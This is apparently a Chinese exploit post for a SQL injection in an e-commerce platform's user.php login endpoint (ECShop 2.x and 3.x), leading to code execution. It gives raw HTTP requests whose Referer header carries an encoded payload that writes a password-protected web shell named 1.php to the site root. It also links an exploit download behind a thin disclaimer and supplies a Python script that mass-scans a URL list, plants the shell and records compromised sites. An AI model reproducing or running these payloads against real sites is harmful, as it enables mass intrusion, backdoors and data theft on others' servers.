GETSHELL exp:

GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

会在根目录生成1.php
密码1337

当然你也可以直接用burp修改referer，然后发包拿shell。

2.x版本

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

3.x版本

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

利用程序

注意：该工具的初衷是为网站管理员检测网站漏洞使用，禁止用以非法入侵，否则产生的一切后果自负，和作者无关。
链接：https://pan.baidu.com/s/1ruGu_TM8G4kG2m5rck7Fkw
密码：2tb7

py脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import time
a="554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:280:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}"

c=list(open('url.txt'))

for url in c:
  try:
    exp="http://"+url.strip()+"/user.php?act=login"
    headers ={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Referer':a,'Accept-Encoding': 'gzip, deflate'}
    m=requests.get(url=exp,headers=headers)
    url2="http://"+url.strip()+"/1.php"
    time.sleep(2)
    n=requests.get(url=url2)
    if n.status_code==200:
      print("shell地址是"+url2)
      f=open("ok.txt","a")
      f.writelines(url2)
      f.close()
    else:
      print("不存在漏洞")
  except Exception:
      print("不存在漏洞")